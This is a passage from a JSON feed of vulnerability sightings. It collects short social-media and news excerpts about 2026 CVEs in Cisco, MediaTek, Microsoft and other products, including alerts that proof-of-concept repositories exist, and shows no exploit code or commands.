\n        CVE-2026-28932\n        xar\n        An app may be able to cause a denial of service\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-28914\n        zip\n        A maliciously crafted ZIP archive may bypass Gatekeeper checks\n        NoNoYesYesNoNoNoNo\n      \n      \n    \n  \n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n  \nWe\u2019ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.", "creation_timestamp": "2026-07-31T01:00:50.081402Z"}, {"uuid": "a7b87f36-e631-4bea-824e-049622530b1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2020", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96361", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #SSRF #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2020-SSRF-via-URL-Parser-Differential\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a George0Papasotiriou\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-03 01:43:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-03T03:06:36.366566Z"}, {"uuid": "3923b1e8-430d-4bc7-ba6a-32d8e054955c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mrw6fdq25sut", "content": "Cisco FMC\u306e\u8106\u5f31\u6027\u3001\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3067\u60aa\u7528\u3055\u308c\u308b\uff08CVE-2026-20316\uff09 | Codebook\uff5cSecurity News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/46948/", "creation_timestamp": "2026-07-31T05:02:23.728996Z"}, {"uuid": "21024079-946f-4450-b23d-a62bb178cc59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mrw6gshyxf2e", "content": "Daily IT Security Digest \u2014 2026-07-31\nManager (CVE-2026-20262) is being actively exploited. Attackers with write access can escalate privileges to root via crafted HTTP requests, potentially taking full control of SD-WAN infrastructure. Cisco and CISA are urging immediate patching and review of", "creation_timestamp": "2026-07-31T05:02:48.808005Z"}, {"uuid": "af6d84c2-b7e8-4a2c-8629-288799743308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mrw6gs7tpx2q", "content": "Daily IT Security Digest \u2014 2026-07-31\nnotified and patches are being accelerated organization-wide.\nSources: [@securityonline.bsky.social](https://securityonline.bsky.social)\n\n## 3. Cisco Catalyst SD-WAN Manager Zero-Day Exploited \u2014 CVE-2026-20262\nA critical zero-day vulnerability in Cisco Catalyst", "creation_timestamp": "2026-07-31T05:02:48.333582Z"}, {"uuid": "8f2cf27b-084b-4ea2-ae9f-9451e1e34cbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrw6k4w2zo2x", "content": "Top 3 CVE for last 7 days:\nCVE-2026-66066: 39 interactions\nCVE-2026-63077: 32 interactions\nCVE-2026-54121: 15 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-66066: 33 interactions\nCVE-2026-59726: 9 interactions\nCVE-2026-20316: 6 interactions\n", "creation_timestamp": "2026-07-31T05:04:40.826447Z"}, {"uuid": "523b7442-9763-46dd-a295-33a915a2f7ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mrw6qirmzi2v", "content": "Cisco FMC\u306e\u9759\u7684\u8a8d\u8a3c\u60c5\u5831\u304c\u653b\u6483\u8005\u306b\u3088\u3063\u3066\u60aa\u7528\u3055\u308c\u308b\u8106\u5f31\u6027\uff08CVE-2026-20316\uff09\n\nCisco FMC static credentials exploited by attackers (CVE-2026-20316)  #HelpNetSecurity (Jul 30)\n\nwww.helpnetsecurity.com/2026/07/30/c...", "creation_timestamp": "2026-07-31T05:08:14.018395Z"}, {"uuid": "5fbbdfab-efec-401b-aac2-538efa5da1b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/5607", "content": "CVE-2026-20965:\u00a0Cymulate\u00a0Research Labs\u00a0Discovers\u00a0Token Validation Flaw\u00a0that Leads to\u00a0Tenant-Wide RCE in Azure Windows Admin\u00a0Center #CVE202620965 #AzureWAC #TenantRCE #CymulateResearch #TokenValidation https://cymulate.com/blog/cve-2026-20965-azure-windows-admin-center-tenant-wide-rce/", "creation_timestamp": "2026-08-01T22:00:05.200824Z"}, {"uuid": "1b99c2dc-8fd9-4928-8a74-f6ce7fa878d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mrwczndbbk2a", "content": "Cisco FMC static credentials exploited by attackers (CVE-2026-20316)\n\nA static credentials vulnerability (CVE-2026-20316) in Cisco Secure Firewall Management Center (FMC), a platform for centrally managing multiple Cisco Secure Firewall devices across a network, is being leveraged\u2026\n#hackernews #news", "creation_timestamp": "2026-07-31T06:24:56.266693Z"}, {"uuid": "674cd6fe-10fa-4356-8ab0-fc86d68888de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mrwdjv4qs72u", "content": "In what can only be described as a masterclass in enterprise security engineering, Cisco has graciously patched an actively exploited zero-day flaw, CVE-2026-20316, lurking within their Secure Firewall Management Center software. This delightful oversight left federal agencies an...\n\nRead full story", "creation_timestamp": "2026-07-31T06:34:01.103435Z"}, {"uuid": "9750238f-2f85-4ac2-9b51-e7e030a97f6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://t.me/CyberDispatch/1348", "content": "CISA Adds 8 Actively Exploited Vulnerabilities to KEV Catalog\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) urgently added eight zero-day vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog on April 20, 2026, confirming active exploitation across enterprise tools from Cisco, Quest, PaperCut, TeamCity, Kentico, and Zimbra.\n\nKey flaws include three Cisco SD-WAN vulnerabilities\u2014CVE-2026-20127 (authentication bypass), CVE-2022-20775 (privilege escalation), and CVE-2026-20133 (sensitive info exposure)\u2014plus CVE-2025-32975 (CVSS 10.0) in Quest KACE SMA, enabling full user impersonation without credentials.\n\nOthers: CVE-2023-27351 (PaperCut improper auth, CVSS 8.2); CVE-2024-27199 (TeamCity path traversal, CVSS 7.3); CVE-2025-2749 (Kentico path traversal, CVSS 7.2).", "creation_timestamp": "2026-08-29T20:00:17.237664Z"}, {"uuid": "fb8c296f-f7ef-4da2-b721-517ae4756dee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://t.me/CyberDispatch/584", "content": "Cisco fixed an actively exploited zero-day in its voice and collaboration stack.\n\nCVE-2026-20045 allows unauthenticated attackers to run commands and escalate to root on exposed Unified CM and Webex Calling systems.", "creation_timestamp": "2026-08-30T00:00:48.784942Z"}, {"uuid": "3a221a55-b4c3-4b45-893d-662d61ebf922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/CyberDispatch/1348", "content": "CISA Adds 8 Actively Exploited Vulnerabilities to KEV Catalog\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) urgently added eight zero-day vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog on April 20, 2026, confirming active exploitation across enterprise tools from Cisco, Quest, PaperCut, TeamCity, Kentico, and Zimbra.\n\nKey flaws include three Cisco SD-WAN vulnerabilities\u2014CVE-2026-20127 (authentication bypass), CVE-2022-20775 (privilege escalation), and CVE-2026-20133 (sensitive info exposure)\u2014plus CVE-2025-32975 (CVSS 10.0) in Quest KACE SMA, enabling full user impersonation without credentials.\n\nOthers: CVE-2023-27351 (PaperCut improper auth, CVSS 8.2); CVE-2024-27199 (TeamCity path traversal, CVSS 7.3); CVE-2025-2749 (Kentico path traversal, CVSS 7.2).", "creation_timestamp": "2026-08-29T20:00:17.289588Z"}, {"uuid": "e3533119-9160-45e1-8007-0a10e306f3f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/soft-management.bsky.social/post/3mrwl6vx42g2h", "content": "Backdoor (CVE-2026-20316) in Cisco Firewall wird ausgenutzt", "creation_timestamp": "2026-07-31T08:51:06.123717Z"}, {"uuid": "8ee7ac64-7662-420a-bc31-03776ce4054c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/CyberDispatch/998", "content": "Attention to the vulnerability (CVE-2026-20131) in Cisco's Secure Firewall Management Center (FMC) actively exploited by ransomware groups worldwide.", "creation_timestamp": "2026-08-29T20:00:18.559766Z"}, {"uuid": "d4d34ec5-26ee-40be-9f11-c99507a49aa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://t.me/CyberDispatch/536", "content": "Microsoft\u2019s first Patch Tuesday of 2026 fixes 114 Windows flaws, including one exploited in the wild.\n\nCVE-2026-20805 is a local info-leak in Desktop Window Manager that can expose memory addresses and weaken ASLR.", "creation_timestamp": "2026-08-30T00:00:49.101725Z"}, {"uuid": "ac4af807-10bd-4893-ac5b-def9a6cf252c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/5607", "content": "CVE-2026-20965:\u00a0Cymulate\u00a0Research Labs\u00a0Discovers\u00a0Token Validation Flaw\u00a0that Leads to\u00a0Tenant-Wide RCE in Azure Windows Admin\u00a0Center #CVE202620965 #AzureWAC #TenantRCE #CymulateResearch #TokenValidation https://cymulate.com/blog/cve-2026-20965-azure-windows-admin-center-tenant-wide-rce/", "creation_timestamp": "2026-08-02T00:00:12.932610Z"}, {"uuid": "2f47b9f9-6f71-4ec8-9192-20d0a78f656c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20449", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116515097574632765", "content": "The severity is increased for this new vulnerability affecting MediaTek MT2735 and other products (CVE-2026-20449) https://vuldb.com/vuln/360939", "creation_timestamp": "2026-05-04T07:21:37.421499Z"}, {"uuid": "a718b6ac-b647-412a-8ae0-34fbd0038a25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20448", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-8", "content": "", "creation_timestamp": "2026-05-04T03:10:43.000000Z"}, {"uuid": "4f564992-c6cb-40fb-9c7e-05a2269cd6a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20449", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-8", "content": "", "creation_timestamp": "2026-05-04T03:10:43.000000Z"}, {"uuid": "09786370-c950-4e92-bb9f-4014241d21cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20450", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-8", "content": "", "creation_timestamp": "2026-05-04T03:10:43.000000Z"}, {"uuid": "e39ce379-3cdf-4664-83fd-22c4d8e32da9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20447", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-8", "content": "", "creation_timestamp": "2026-05-04T03:10:43.000000Z"}, {"uuid": "8cf982b0-5ac2-46b5-9187-d8be1948ee2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20450", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116517234634824012", "content": "Our CTI team identified a lot of activities targeting MediaTek MT2735 and other products (CVE-2026-20450) https://vuldb.com/vuln/360940/cti", "creation_timestamp": "2026-05-04T16:25:05.948502Z"}, {"uuid": "173b2df5-0bd6-4f2d-ab0d-e1c555865114", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20082", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3ml2bab7nz425", "content": "\ud83d\udccc CVE-2026-20082 - A vulnerability in the handling of the embryonic connection limits in Cisco Secure Firewall Adaptive Security Appliance (ASA) Software could allow an ... https://www.cyberhub.blog/cves/CVE-2026-20082", "creation_timestamp": "2026-05-04T18:07:08.011788Z"}, {"uuid": "a3c6f18f-617b-4596-9843-78b9e9e77893", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20202", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3ml2s2tbyd323", "content": "CVE-2026-20202 Exploit Exposed: How Bug Bounty Hunters Are Leveraging This Zero-Day \u2013 Full Technical Deep Dive +\u00a0Video\n\nIntroduction: A newly disclosed zero-day vulnerability, CVE-2026-20202, has emerged as a critical remote code execution (RCE) flaw affecting popular web application frameworks.\u2026", "creation_timestamp": "2026-05-04T23:08:20.755818Z"}, {"uuid": "4e4e138e-6b9a-43f9-8412-cd368ec24638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://t.me/GithubRedTeam/82883", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-2005\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dinosn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 08:52:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-2005 \u2014 PostgreSQL pgcrypto heap overflow RCE exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T09:00:04.000000Z"}, {"uuid": "c070d069-86af-4f69-9734-35f85aaf66ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2052", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3ml4t5m7j452i", "content": "CVE-2026-2052 widget-options (CVSS Score 8.8) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-05T18:33:05.599984Z"}, {"uuid": "314b7298-0321-42e9-aa4a-38834145f742", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2052", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3ml5hbdysjs2l", "content": "CVE-2026-2052 extended-widget-options (CVSS Score 8.8) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-06T00:33:06.190092Z"}, {"uuid": "9dad8e6f-63f3-493a-8a03-16255bbfac9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/hn_best_comments/28918", "content": "Re: Windows 11 Notepad to support Markdown\n\nI believe Markdown support is what led to CVE-2026-20841 earlier this month.\n\n20260211 https://news.ycombinator.com/item?id=46971516 Windows Notepad App Remote Code Execution Vulnerability (804 points, 516 comments)\n\n20260210 https://msrc.microsoft.com/update-guide/vulnerability/CVE-20...\n\n> \"An attacker could trick a user into clicking a malicious link inside a Markdown file opened in Notepad\"\n\nOther recent Notepad issues:\n\n20260207 https://news.ycombinator.com/item?id=46927098 Microsoft account bugs locked me out of Notepad \u2013 Are thin clients ruining PCs? (187 points, 284 comments)\n\n20260127 https://news.ycombinator.com/item?id=46780451 Windows 11 January Update Breaks Notepad (60 points, 25 comments)\n\npassword4321, 6 hours ago", "creation_timestamp": "2026-08-02T00:01:12.263234Z"}, {"uuid": "fc0fda25-fa59-465c-b7d8-9ed90f5da6b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20464", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117032302879027594", "content": "The severity is increased for this new vulnerability affecting MediaTek MT6761 and other products (CVE-2026-20464) https://vuldb.com/vuln/385444", "creation_timestamp": "2026-08-03T15:33:43.595682Z"}, {"uuid": "3751e016-d096-4a00-b6cd-f42205f7a4a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20465", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117032354304920286", "content": "A severe vulnerability was disclosed for MediaTek MT6890 and other products (CVE-2026-20465) https://vuldb.com/vuln/385443", "creation_timestamp": "2026-08-03T15:46:48.249472Z"}, {"uuid": "abf7c5ff-18ce-47cf-81ca-daadd3951053", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20185", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml77ngnlrb2r", "content": "\ud83d\udfe0 CVE-2026-20185 - High (7.7)\n\nA vulnerability in the Simple Network Management Protocol (SNMP) subsystem of Cisco 350 Seri...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20185/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T17:22:01.634275Z"}, {"uuid": "e811789b-86d3-4b19-9ad6-7ce1101ec589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20188", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml77nnixcb2r", "content": "\ud83d\udfe0 CVE-2026-20188 - High (7.5)\n\nA vulnerability in the connection-handling mechanism of Cisco Crosswork Network Controller (CNC) ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20188/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T17:22:08.579343Z"}, {"uuid": "2b444b5b-dc72-436b-9137-d67018217b1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20034", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml77nupzno2f", "content": "\ud83d\udfe0 CVE-2026-20034 - High (8.8)\n\nA vulnerability in the web-based management interface of Cisco Unity Connection could allow an au...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20034/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T17:22:16.347853Z"}, {"uuid": "c8389114-60c4-4d6c-861a-6b4fff7ec48e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20185", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml77osaodu2t", "content": "\ud83d\udfe0 CVE-2026-20185 - High (7.7)\n\nA vulnerability in the Simple Network Management Protocol (SNMP) subsystem of Cisco 350 Seri...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20185/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T17:22:47.176360Z"}, {"uuid": "d9fa7117-2c6a-4a3f-8ffe-9f05e5859d9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/117032526803268090", "content": "\ud83d\udcf0 CISA Warns of Actively Exploited Cisco Firewall Management Flaw\n\ud83d\udce2 CISA WARNING: A static credential flaw in Cisco Secure Firewall Management Center (CVE-2026-20316) is actively exploited. The flaw allows unauthorized access. CISA adds it to KEV catalog, mandating federal action. #CVE202620316 #Cisco #KEV\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisa-warns-of-actively-exploited-cisco-firewall-management-flaw/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-08-03T16:30:41.475988Z"}, {"uuid": "b6e02e07-7aee-48c8-9abe-02f39e2481eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20188", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml77ozpiwb2r", "content": "\ud83d\udfe0 CVE-2026-20188 - High (7.5)\n\nA vulnerability in the connection-handling mechanism of Cisco Crosswork Network Controller (CNC) ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20188/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T17:22:55.050621Z"}, {"uuid": "fd090e59-773e-4188-af17-42941236fe5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20034", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml77pbe23t2k", "content": "\ud83d\udfe0 CVE-2026-20034 - High (8.8)\n\nA vulnerability in the web-based management interface of Cisco Unity Connection could allow an au...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20034/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T17:23:03.662648Z"}, {"uuid": "611d8341-f7a1-42b5-8a86-632c422fa25e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20167", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml77pxhqef2z", "content": "\ud83d\udfe0 CVE-2026-20167 - High (7.7)\n\nA vulnerability in the web-based management interface of Cisco IoT Field Network Director could a...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20167/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T17:23:27.770957Z"}, {"uuid": "32e2e710-50e6-4dfa-8225-9ac0700d52b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/sysodmins/28627", "content": "\u2328\ufe0f \u041a\u0430\u043a \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043b\u0442\u043e\u0440\u0430 \u043c\u0435\u0441\u044f\u0446\u0430 \u0438\u043c\u0435\u043b\u0438 Cisco \u0447\u0435\u0440\u0435\u0437 CVSS 10.0\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20131 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0435 10 \u0438\u0437 10 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS. \u041f\u0440\u0438\u0447\u0438\u043d\u0430 - \u0441\u0442\u0430\u0440\u0430\u044f \u0434\u043e\u0431\u0440\u0430\u044f \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f Java-\u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432. \u041b\u044e\u0431\u043e\u0439 \u043c\u0438\u043c\u043e\u043a\u0440\u043e\u043a\u043e\u0434\u0438\u043b \u0431\u0435\u0437 \u0432\u0441\u044f\u043a\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u043b \u0441\u043a\u0440\u0430\u0444\u0447\u0435\u043d\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u043b root \u043d\u0430 \u0436\u0435\u043b\u0435\u0437\u043a\u0435 \ud83c\udfa9\n\nCisco \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u043f\u0430\u0442\u0447 \u0438 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430 \u0444\u0430\u043a\u0430\u043f \u0442\u043e\u043b\u044c\u043a\u043e 4 \u043c\u0430\u0440\u0442\u0430 2026 \u0433\u043e\u0434\u0430. \u041d\u043e, \u043a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0445\u0430\u0446\u043a\u0435\u0440\u044b \u044e\u0437\u0430\u043b\u0438 \u044d\u0442\u043e\u0442 \u0431\u0430\u0433 \u043a\u0430\u043a \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 0-day \u0435\u0449\u0435 \u0441 26 \u044f\u043d\u0432\u0430\u0440\u044f. \u041f\u043e\u043b\u0442\u043e\u0440\u0430 \u043c\u0435\u0441\u044f\u0446\u0430 